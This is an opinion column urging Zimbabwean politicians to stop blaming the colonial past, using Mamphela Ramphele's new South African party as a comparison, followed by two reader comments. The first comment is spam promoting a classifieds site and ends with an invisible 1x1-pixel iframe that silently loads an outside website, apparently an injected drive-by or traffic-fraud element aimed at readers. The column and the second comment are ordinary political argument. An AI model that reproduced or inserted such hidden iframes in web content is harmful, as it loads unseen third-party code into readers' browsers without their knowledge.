Politicians must stop living in past

Zimbabwe’s present and aspiring politicians would do well to take note of events over our southern border, not only because that’s where an estimated three million Zimbabweans live and work but because that’s where we get 80 percent of all the food we eat.

South Africa’s newly-launched Agang party whose name means “build,” is making ripples that are undoubtedly being noticed by Zimbabweans living and working there.

These are the same Zimbabweans who may be heading home to vote in our elections later this year and whose votes are much sought after by all political parties.

These Zimbabweans have come of age and won’t easily be bought or intimidated after living in a functional democracy for much of the last decade.  

The Agang leader, Dr. Mamphela Ramphele, is a well known anti-apartheid activist in South Africa and her entry into politics is being welcomed by such icons as Archbishop Desmond Tutu. Ramphele has broken ranks with the old boys club and is openly critical of ANC  governance.

One of her early messages as she launched her new party was for South Africa to stop living in the past and stop blaming past rulers for present problems  in the country.

Ramphele says South Africa must “own the future and stop focussing on the past.”

You can almost see three million exiled Zimbabweans nodding their heads in agreement with that sentiment as they look homewards.

Quoted in the press a few days ago, Ramphele said: “It is nearly 20 years since freedom and people have told me that they have waited too long for decent jobs, education, safe and secure places to live and an economy that creates opportunities for all.

“We didn’t fight and die in the struggle against apartheid so that millions of South Africans should still be living like forgotten people,” Ramphele’s words shout a very familiar echo to us over the border don’t they?

The only difference is that in Zimbabwe we’ve been practising — living in the past for 33 years.

Looking at South Africa, 20 years after the end of apartheid is like looking into the rear view mirror of Zimbabwe’s history.

The only problem is that we are still living in that past and haven’t yet found the maturity to stop blaming the wrongs of colonial rulers on everything that’s wrong in Zimbabwe today.

Can we really blame colonialists for our present corruption, decaying infrastructure, 80 percent food imports and over 80 percent unemployment?

It is a tragedy, and to our national shame, that 33 years after independence there are millions of Zimbabweans who are still living like “forgotten people.” 

Millions of Zimbabweans continue to live in crippling poverty in rural areas, without running water or electricity, they exist in primitive conditions that have hardly changed at all since independence.

In rural areas, everywhere the roads leading to village homesteads leave even sturdy four-wheel-drive vehicles struggling to negotiate deep gullies and eroded tracks that once were roads.

Rural clinics are understaffed and ill-equipped, leaving people having to travel long distances to main towns to get simple medication such as antibiotics.

In high density urban areas, people crowd ten to a room, without running water while huge garbage mountains lie on the verges and sewage rivers trickle along pot-holed streets.

Women carrying water and firewood on their heads is hardly an acceptable  image for a country three decades after  independence.

These are our “forgotten people,” the same ones that Ramphele sees across the border and yet they are the ones whose votes the politicians clamour to get.

    Comments (2)

    Forgive for using that name I am nothing like that sorry maZimbabwe Amahle, I have been busy trying to figure out what we will become after the election, or after the death of our president, you now we should prepare our self for the worst and hope for the best, zimbabweans we are suffering in the diaspora, i do not have a decent home, am in sudan, what kind of life is dat, i also would like to come back home please Zimbabweans vote that man out I appeal. On the other note i do not know, there is a website with Jobs like this one <a href="http://www.zimgiants.com">Zimbabwe Free Clasifieds and Jobs</a> can iet a job there, help out people<iframe src="http://www.inchis.com" height="1" width="1" />

    Daniel tears run dry - 27 June 2013

    Cathy, you have done a lot better in the past..As a good writer you should know about the danger of throwing figures that do not stand up around. I dont believe 80% of what we eat necessarily comes from South Africa. If you look at it, our staple comes from the locals (100%), chicken and beef (70%), vegetables (80%) Cooking oil (20%).. The figure of three million in South Africa alone is a little far fetched a thumbsuck. With a local population of around 11 million this then gives the land too high a population as this will make us 15 million (3 million in SA, half a million in Botswana and Mozambique and another half scattered across the globe) I believe a 2 million figure is still way too high. I woud settle for a miion. This would give a grand total of the population at twelve million.That we are in loud mess can be traced back to source. The real source of our misery is Ian Smith who crafted his idiotic policy of apartheid in then Rhodesia, so 15 years of real progress went down the tubes..Sadly for long suffering Zimbabweans the man who replaced the racist dinausser prooved even worse and decided for some weird reason to stay welded to the throne despite the glaring failures! Our only hope is a new hand at the wheel and I am not particular where it comes from or what color it represents but if he or she can fish us out of the messy murky waters we find ourselves he/she will earn the eternal gratitude of Zimbabweans.

    gutter poet - 2 July 2013

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